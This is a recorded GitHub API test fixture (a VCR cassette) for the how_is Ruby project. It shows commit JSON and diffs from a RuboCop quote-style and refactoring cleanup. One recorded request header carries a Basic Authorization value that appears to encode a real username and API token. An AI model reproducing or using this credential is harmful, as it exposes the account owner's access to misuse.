end"},{"sha":"77bdb6f9bf4cb55e882349bf8564456149e1e499","filename":"spec/how_is/integration.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/integration.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/integration.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/integration.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,12 +1,12 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n+require \"spec_helper\"\n \n-HOW_IS_EXE = File.expand_path(''../../exe/how_is'', __dir__)\n+HOW_IS_EXE = File.expand_path(\"../../exe/how_is\", __dir__)\n \n-describe ''Integration Tests'' do\n- context ''--help and -h flags'' do\n- it ''outputs usage information'' do\n+describe \"Integration Tests\" do\n+ context \"--help and -h flags\" do\n+ it \"outputs usage information\" do\n %w[--help -h].each do |flag|\n stub_const(\"ARGV\", [flag])\n \n@@ -17,8 +17,8 @@\n end\n end\n \n- context ''--version and -v flags'' do\n- it ''outputs the version number'' do\n+ context \"--version and -v flags\" do\n+ it \"outputs the version number\" do\n %w[--version -v].each do |flag|\n stub_const(\"ARGV\", [flag])\n "},{"sha":"16606fbf554bb13fcd78e58b09e74d7ff763361f","filename":"spec/how_is_spec.rb","status":"modified","additions":38,"deletions":38,"changes":76,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,17 +1,17 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''open3''\n-require ''timecop''\n-require ''yaml''\n+require \"spec_helper\"\n+require \"open3\"\n+require \"timecop\"\n+require \"yaml\"\n \n-HOW_IS_CONFIG_FILE = File.expand_path(''./data/how_is.yml'', __dir__)\n+HOW_IS_CONFIG_FILE = File.expand_path(\"./data/how_is.yml\", __dir__)\n \n-HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT = File.expand_path(''./data/how-is-example-repository-report.json'', __dir__)\n-HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT = File.expand_path(''./data/how-is-example-repository-report.html'', __dir__)\n+HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT = File.expand_path(\"./data/how-is-example-repository-report.json\", __dir__)\n+HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT = File.expand_path(\"./data/how-is-example-repository-report.html\", __dir__)\n \n HOW_IS_EXAMPLE_EMPTY_REPOSITORY_HTML_REPORT =\n- File.expand_path(''./data/how-is-example-empty-repository-report.html'', __dir__)\n+ File.expand_path(\"./data/how-is-example-empty-repository-report.html\", __dir__)\n \n JEKYLL_HEADER =\n <<~EOF\n@@ -26,23 +26,23 @@\n # 2016-11-01 00:00:00 UTC.\n # See note in lib/how_is/report.rb about new_offset.\n # TODO: Stop pretending to always be in UTC.\n- date = DateTime.parse(''2016-11-01'').new_offset(0)\n+ date = DateTime.parse(\"2016-11-01\").new_offset(0)\n Timecop.freeze(date)\n end\n \n after do\n Timecop.return\n end\n \n- it ''from_json(json) works'' do\n+ it \"from_json(json) works\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT).read\n actual = HowIs.from_json(expected).to_json\n \n expect(expected.strip).to eq(actual.strip)\n end\n \n- context ''with a config'' do\n- it ''generates valid report files'' do\n+ context \"with a config\" do\n+ it \"generates valid report files\" do\n Dir.mktmpdir { |dir|\n Dir.chdir(dir) {\n reports = nil\n@@ -53,7 +53,7 @@\n }.to_not output.to_stderr\n end\n \n- html_report = reports[''./report.html'']\n+ html_report = reports[\"./report.html\"]\n # TODO: Verify that JSON report is correct.\n # json_report = reports[''./report.json'']\n \n@@ -63,67 +63,67 @@\n end\n end\n \n- context ''HTML report for how-is/example-repository'' do\n- it ''generates a valid report'' do\n+ context \"HTML report for how-is/example-repository\" do\n+ it \"generates a valid report\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-repository'').to_html\n+ actual = HowIs.new(\"how-is/example-repository\").to_html\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- context ''JSON report for how-is/example-repository'' do\n- it ''generates a valid report file'' do\n+ context \"JSON report for how-is/example-repository\" do\n+ it \"generates a valid report file\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-repository'').to_json\n+ actual = HowIs.new(\"how-is/example-repository\").to_json\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- context ''HTML report for repository with no PRs or issues'' do\n- it ''generates a valid report file'' do\n+ context \"HTML report for repository with no PRs or issues\" do\n+ it \"generates a valid report file\" do\n expected = File.open(HOW_IS_EXAMPLE_EMPTY_REPOSITORY_HTML_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-empty-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-empty-repository'').to_html\n+ actual = HowIs.new(\"how-is/example-empty-repository\").to_html\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- # Disable ''cop'' that is violated by every .generate_frontmatter() calls.\n- # rubocop:disable Layout/BracesAroundHashParameters\n- context ''#generate_frontmatter'' do\n- it ''works with frontmatter parameter using String keys, report_data using String keys'' do\n+ # Disable RuboCop rule that is violated by every .generate_frontmatter() call.\n+ # rubocop:disable Style/BracesAroundHashParameters\n+ context \"#generate_frontmatter\" do\n+ it \"works with frontmatter parameter using String keys, report_data using String keys\" do\n actual = nil\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = HowIs.generate_frontmatter({''foo'' => \"bar %{baz}\"}, {''baz'' => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({\"foo\" => \"bar %{baz}\"}, {\"baz\" => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n \n expect(actual).to eq(expected)\n end\n \n- it ''works with frontmatter parameter using Symbol keys, report_data using Symbol keys'' do\n+ it \"works with frontmatter parameter using Symbol keys, report_data using Symbol keys\" do\n actual = nil\n expected = nil\n \n@@ -138,20 +138,20 @@\n # Re-enable.\n # rubocop:enable Style/BracesAroundHashParameters\n \n- context ''#from_config'' do\n+ context \"#from_config\" do\n let(:config) {\n- file = File.expand_path(''./data/how_is/cli_spec/how_is.yml'', __dir__)\n+ file = File.expand_path(\"./data/how_is/cli_spec/how_is.yml\", __dir__)\n YAML.load_file(file)\n }\n \n- let(:issues) { JSON.parse(open(File.expand_path(''./data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''./data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"./data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"./data/pulls.json\", __dir__)).read) }\n \n let(:github) {\n instance_double(\n- ''GitHub'',\n- issues: instance_double(''GitHub::Issues'', list: issues),\n- pulls: instance_double(''GitHub::Pulls'', list: pulls)\n+ \"GitHub\",\n+ issues: instance_double(\"GitHub::Issues\", list: issues),\n+ pulls: instance_double(\"GitHub::Pulls\", list: pulls)\n )\n }\n \n@@ -163,15 +163,15 @@ def self.export(_analysis, _format)\n }\n }\n \n- it ''generates a report, with correct frontmatter'' do\n+ it \"generates a report, with correct frontmatter\" do\n reports = nil\n \n VCR.use_cassette(\"how-is-from-config-frontmatter\") do\n reports = HowIs.from_config(config, github: github, report_class: report_class)\n end\n \n- actual_html = reports[''output/report.html'']\n- actual_json = reports[''output/report.json'']\n+ actual_html = reports[\"output/report.html\"]\n+ actual_json = reports[\"output/report.json\"]\n \n expected_html = <<~EOF\n ---"},{"sha":"cd1e9ce72936eacfdb78a81357683a1649d188f0","filename":"spec/spec_helper.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/spec_helper.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/spec_helper.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/spec_helper.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-$LOAD_PATH.unshift File.expand_path(''../../lib'', __FILE__)\n-require ''how_is''\n-require ''timecop''\n-require File.expand_path(''./vcr_helper.rb'', __dir__)\n+$LOAD_PATH.unshift File.expand_path(\"../../lib\", __FILE__)\n+require \"how_is\"\n+require \"timecop\"\n+require File.expand_path(\"./vcr_helper.rb\", __dir__)"},{"sha":"45ef62fb608a4ce1ad4d044d0f56270a2dc24ff7","filename":"spec/vcr_helper.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/vcr_helper.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/vcr_helper.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/vcr_helper.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''vcr''\n+require \"vcr\"\n \n VCR.configure do |config|\n config.cassette_library_dir = \"fixtures/vcr_cassettes\""}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:35 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3395' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"52c43d1219d012b3787cc26ed66600ca" Last-Modified: - Sun, 16 Jul 2017 19:40:05 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 0AE3:0C0C:1EEDAE:437981:5CC36AE3 body: encoding: ASCII-8BIT string: '{"sha":"d2311beacc8380e7f7c3ca37180ba5deb7ed9181","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDIzMTFiZWFjYzgzODBlN2Y3YzNjYTM3MTgwYmE1ZGViN2VkOTE4MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T19:40:05Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T19:40:05Z"},"message":"Merge pull request #178 from olleolleolle/fix/rubocop-warnings\n\nRuboCop linting","tree":{"sha":"0cee141d8e0c9d060ed5b001851ec6624c43439c","url":"https://api.github.com/repos/how-is/how_is/git/trees/0cee141d8e0c9d060ed5b001851ec6624c43439c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","html_url":"https://github.com/how-is/how_is/commit/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d"},{"sha":"9c3214ddd70d57316088d65bdf4711fa880fa167","url":"https://api.github.com/repos/how-is/how_is/commits/9c3214ddd70d57316088d65bdf4711fa880fa167","html_url":"https://github.com/how-is/how_is/commit/9c3214ddd70d57316088d65bdf4711fa880fa167"}],"stats":{"total":541,"additions":291,"deletions":250},"files":[{"sha":"473b6c20753a67830b96c175d5d1236fe28844b0","filename":".rubocop.yml","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,3 +1,5 @@\n+inherit_from: .rubocop_todo.yml\n+\n AllCops:\n DisplayCopNames: true\n DisplayStyleGuide: true\n@@ -155,10 +157,8 @@ Layout/SpaceInsideHashLiteralBraces:\n EnforcedStyle: no_space\n \n # Use double quotes everywhere by default.\n-# TODO: Enable Style/StringLiterals cop. Disabled due to number of violations.\n Style/StringLiterals:\n- Enabled: false\n- #EnforcedStyle: double_quotes\n+ EnforcedStyle: double_quotes\n \n # TODO: Maybe make it so you have to do [:foo, :bar] not %i[foo bar]?\n Style/SymbolArray:"},{"sha":"0bb965a7fbce444e963f79bf461b2d808b729e6e","filename":".rubocop_todo.yml","status":"added","additions":21,"deletions":0,"changes":21,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/.rubocop_todo.yml","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/.rubocop_todo.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop_todo.yml?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -0,0 +1,21 @@\n+# This configuration was generated by\n+# `rubocop --auto-gen-config`\n+# on 2017-07-16 19:09:46 +0200 using RuboCop version 0.49.1.\n+# The point is for the user to remove these configuration records\n+# one by one as the offenses are removed from the code base.\n+# Note that changes in the inspected code, or installation of new\n+# versions of RuboCop, may require this file to be generated again.\n+\n+# Offense count: 8\n+Metrics/AbcSize:\n+ Max: 31\n+\n+# Offense count: 2\n+# Configuration parameters: CountComments.\n+Metrics/ClassLength:\n+ Max: 117\n+\n+# Offense count: 3\n+# Configuration parameters: CountComments.\n+Metrics/MethodLength:\n+ Max: 31"},{"sha":"011edb596c0fbb562bb19230e677429917231511","filename":"Gemfile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-source ''https://rubygems.org''\n+source \"https://rubygems.org\"\n \n # Specify your gem''s dependencies in how_is.gemspec\n gemspec"},{"sha":"b2be70a1b6e5cecc72d1d533607ebecb5155d624","filename":"Rakefile","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,26 +1,26 @@\n # frozen_string_literal: true\n \n-require ''bundler/gem_tasks''\n-require ''rspec/core/rake_task''\n-require ''timecop''\n-require ''./spec/vcr_helper.rb''\n-require ''how_is''\n+require \"bundler/gem_tasks\"\n+require \"rspec/core/rake_task\"\n+require \"timecop\"\n+require \"./spec/vcr_helper.rb\"\n+require \"how_is\"\n \n RSpec::Core::RakeTask.new(:spec) do |t|\n # Warning.warn() was added in Ruby 2.4.0, so don''t use -w on older versions.\n- t.ruby_opts = ''-w -r./spec/capture_warnings.rb'' if RUBY_VERSION >= ''2.4.0''\n+ t.ruby_opts = \"-w -r./spec/capture_warnings.rb\" if RUBY_VERSION >= \"2.4.0\"\n end\n \n task :default => :spec\n \n task :generate_changelog do\n- sh ''github_changelog_generator''\n+ sh \"github_changelog_generator\"\n end\n \n # Helper functions used later in the Rakefile.\n class HelperFunctions\n def self.freeze_time(&_block)\n- date = DateTime.parse(''2016-11-01'').new_offset(0)\n+ date = DateTime.parse(\"2016-11-01\").new_offset(0)\n Timecop.freeze(date) do\n yield\n end\n@@ -35,36 +35,36 @@ class HelperFunctions\n format: format,\n }\n \n- cassette = repository.tr(''/'', ''-'')\n+ cassette = repository.tr(\"/\", \"-\")\n VCR.use_cassette(cassette) do\n report = HowIs.generate_report(**options)\n end\n \n filename = \"#{cassette}-report.#{format}\"\n path = File.expand_path(\"spec/data/#{filename}\", __dir__)\n- File.open(path, ''w'') do |f|\n+ File.open(path, \"w\") do |f|\n f.puts report\n # HACK: Trailing newline is missing, otherwise.\n- f.puts if format == ''html''\n+ f.puts if format == \"html\"\n end\n end\n end\n end\n \n namespace :generate_reports do\n- desc ''Generate example HTML reports.''\n+ desc \"Generate example HTML reports.\"\n task :html do\n %w[\n how-is/example-repository\n how-is/example-empty-repository\n ].each do |repo|\n- HelperFunctions.generate_report(repo, ''html'')\n+ HelperFunctions.generate_report(repo, \"html\")\n end\n end\n \n- desc ''Generate example JSON reports.''\n+ desc \"Generate example JSON reports.\"\n task :json do\n- HelperFunctions.generate_report(''how-is/example-repository'', ''json'')\n+ HelperFunctions.generate_report(\"how-is/example-repository\", \"json\")\n end\n \n task :all => [:html, :json]"},{"sha":"3595c08ed71e81375b53de512423120a95c0c8b1","filename":"exe/how_is","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/exe/how_is","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/exe/how_is","contents_url":"https://api.github.com/repos/how-is/how_is/contents/exe/how_is?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -8,7 +8,7 @@ require \"how_is/cli\"\n begin\n result = HowIs::CLI.parse(ARGV)\n rescue HowIs::CLI::OptionsError => e\n- raise if ENV[''SHOW_TRACE'']\n+ raise if ENV[\"SHOW_TRACE\"]\n \n abort \"Error: #{e.message}\"\n end\n@@ -43,7 +43,7 @@ begin\n )\n end\n rescue => e\n- raise if ENV[''SHOW_TRACE'']\n+ raise if ENV[\"SHOW_TRACE\"]\n \n abort \"Error: #{e.message}\"\n end"},{"sha":"baa3d7c6a460e77f8a42447afe7fd6dbbdada19b","filename":"lib/how_is.rb","status":"modified","additions":19,"deletions":16,"changes":35,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,19 +1,22 @@\n # frozen_string_literal: true\n \n-require ''how_is/version''\n-require ''contracts''\n-require ''cacert''\n+require \"how_is/version\"\n+require \"contracts\"\n+require \"cacert\"\n \n Cacert.set_in_env\n \n C = Contracts\n \n+# HowIs control class used from the CLI tool.\n+#\n+# Generates an analysis and has methods to build reports from it.\n class HowIs\n include Contracts::Core\n \n- require ''how_is/fetcher''\n- require ''how_is/analyzer''\n- require ''how_is/report''\n+ require \"how_is/fetcher\"\n+ require \"how_is/analyzer\"\n+ require \"how_is/report\"\n \n DEFAULT_FORMAT = :html\n \n@@ -79,7 +82,7 @@ def self.from_hash(data)\n # generate.\n def self.supported_formats\n report_constants = HowIs.constants.grep(/.Report/) - [:BaseReport]\n- report_constants.map { |x| x.to_s.split(''Report'').first.downcase }\n+ report_constants.map { |x| x.to_s.split(\"Report\").first.downcase }\n end\n \n ##\n@@ -90,7 +93,7 @@ def self.supported_formats\n # if it can''t.\n def self.can_export_to?(file)\n # TODO: Check if the file is writable?\n- supported_formats.include?(file.split(''.'').last)\n+ supported_formats.include?(file.split(\".\").last)\n end\n \n # Generate an analysis.\n@@ -147,28 +150,28 @@ def self.from_config(config,\n report_class: nil)\n report_class ||= HowIs::Report\n \n- date = Date.strptime(Time.now.to_i.to_s, ''%s'')\n- friendly_date = date.strftime(''%B %d, %y'')\n+ date = Date.strptime(Time.now.to_i.to_s, \"%s\")\n+ friendly_date = date.strftime(\"%B %d, %y\")\n \n- analysis = HowIs.generate_analysis(repository: config[''repository''], github: github)\n+ analysis = HowIs.generate_analysis(repository: config[\"repository\"], github: github)\n \n report_data = {\n- repository: config[''repository''],\n+ repository: config[\"repository\"],\n date: date,\n friendly_date: friendly_date,\n }\n \n generated_reports = {}\n \n- config[''reports''].map do |format, report_config|\n+ config[\"reports\"].map do |format, report_config|\n # Sometimes report_data has unused keys, which generates a warning, but\n # we''re okay with it.\n- filename = silence_warnings { report_config[''filename''] % report_data }\n- file = File.join(report_config[''directory''], filename)\n+ filename = silence_warnings { report_config[\"filename\"] % report_data }\n+ file = File.join(report_config[\"directory\"], filename)\n \n report = report_class.export(analysis, format)\n \n- result = build_report(report_config[''frontmatter''], report_data, report)\n+ result = build_report(report_config[\"frontmatter\"], report_data, report)\n \n generated_reports[file] = result\n "},{"sha":"b6e8a6ec98d85f517cc33328d104a81d4a108aa3","filename":"lib/how_is/analyzer.rb","status":"modified","additions":53,"deletions":47,"changes":100,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/analyzer.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/analyzer.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/analyzer.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,29 +1,30 @@\n # frozen_string_literal: true\n \n-require ''contracts''\n-require ''ostruct''\n-require ''date''\n-require ''json''\n+require \"contracts\"\n+require \"ostruct\"\n+require \"date\"\n+require \"json\"\n \n class HowIs\n ##\n # Represents a completed analysis of the repository being analyzed.\n class Analysis < OpenStruct\n end\n \n+ # Creates Analysis objects with input data formatted in useful ways.\n class Analyzer\n include Contracts::Core\n \n ##\n- # Raised when attempting to export to an unsupported format.\n+ # Raised when attempting to import to an unsupported format.\n class UnsupportedImportFormat < StandardError\n def initialize(format)\n super(\"Unsupported import format: #{format}\")\n end\n end\n \n ##\n- # Generates and returns an analysis.i\n+ # Generates and returns an analysis.\n #\n # @param data [Fetcher::Results] The results gathered by Fetcher.\n # @param analysis_class (You don''t need this.) A class to use instead of\n@@ -43,7 +44,7 @@ def call(data, analysis_class: Analysis)\n number_of_pulls: pulls.length,\n \n issues_with_label: with_label_links(num_with_label(issues), data.repository),\n- issues_with_no_label: {''link'' => nil, ''total'' => num_with_no_label(issues)},\n+ issues_with_no_label: {\"link\" => nil, \"total\" => num_with_no_label(issues)},\n \n average_issue_age: average_age_for(issues),\n average_pull_age: average_age_for(pulls),\n@@ -64,15 +65,15 @@ def call(data, analysis_class: Analysis)\n # @param data [Hash] The hash to generate an Analysis from.\n def self.from_hash(data)\n hash = data.map { |k, v|\n- v = DateTime.parse(v) if k.end_with?(''_date'')\n+ v = DateTime.parse(v) if k.end_with?(\"_date\")\n \n [k, v]\n }.to_h\n \n hash.keys.each do |key|\n- next unless hash[key].is_a?(Hash) && hash[key][''date'']\n+ next unless hash[key].is_a?(Hash) && hash[key][\"date\"]\n \n- hash[key][''date''] = DateTime.parse(hash[key][''date''])\n+ hash[key][\"date\"] = DateTime.parse(hash[key][\"date\"])\n end\n \n Analysis.new(hash)\n@@ -90,60 +91,39 @@ def num_with_label(issues_or_pulls)\n \n hash = Hash.new(0)\n issues_or_pulls.each do |iop|\n- next unless iop[''labels'']\n+ next unless iop[\"labels\"]\n \n- iop[''labels''].each do |label|\n- hash[label[''name'']] += 1\n+ iop[\"labels\"].each do |label|\n+ hash[label[\"name\"]] += 1\n end\n end\n hash\n end\n \n # Returns the number of issues with no label.\n def num_with_no_label(issues)\n- issues.select { |x| x[''labels''].empty? }.length\n+ issues.select { |x| x[\"labels\"].empty? }.length\n end\n \n # Given an Array of dates, average the timestamps and return the date that\n # represents.\n def average_date_for(issues_or_pulls)\n- timestamps = issues_or_pulls.map { |iop| Date.parse(iop[''created_at'']).strftime(''%s'').to_i }\n+ timestamps = issues_or_pulls.map { |iop| Date.parse(iop[\"created_at\"]).strftime(\"%s\").to_i }\n average_timestamp = timestamps.reduce(:+) / issues_or_pulls.length\n \n- DateTime.strptime(average_timestamp.to_s, ''%s'')\n+ DateTime.strptime(average_timestamp.to_s, \"%s\")\n end\n \n # Given an Array of issues or pulls, return the average age of them.\n # Returns nil if no issues or pulls are provided.\n def average_age_for(issues_or_pulls)\n return nil if issues_or_pulls.empty?\n \n- ages = issues_or_pulls.map { |iop| time_ago_in_seconds(iop[''created_at'']) }\n- raw_average = ages.reduce(:+) / ages.length\n+ ages = issues_or_pulls.map { |iop| time_ago_in_seconds(iop[\"created_at\"]) }\n+ average_age_in_seconds = ages.reduce(:+) / ages.length\n \n- seconds_in_a_year = 31_556_926\n- seconds_in_a_month = 2_629_743\n- seconds_in_a_week = 604_800\n- seconds_in_a_day = 86_400\n-\n- years = raw_average / seconds_in_a_year\n- years_remainder = raw_average % seconds_in_a_year\n-\n- months = years_remainder / seconds_in_a_month\n- months_remainder = years_remainder % seconds_in_a_month\n-\n- weeks = months_remainder / seconds_in_a_week\n- weeks_remainder = months_remainder % seconds_in_a_week\n-\n- days = weeks_remainder / seconds_in_a_day\n-\n- values = [\n- [years, \"year\"],\n- [months, \"month\"],\n- [weeks, \"week\"],\n- [days, \"day\"],\n- ].reject { |(v, _)| v.zero? }.map { |(v, k)|\n- k += ''s'' if v != 1\n+ values = period_pairs_for(average_age_in_seconds).reject { |(v, _)| v.zero? }.map { |(v, k)|\n+ k += \"s\" if v != 1\n [v, k]\n }\n \n@@ -160,7 +140,7 @@ def average_age_for(issues_or_pulls)\n end\n \n def sort_iops_by_created_at(issues_or_pulls)\n- issues_or_pulls.sort_by { |x| DateTime.parse(x[''created_at'']) }\n+ 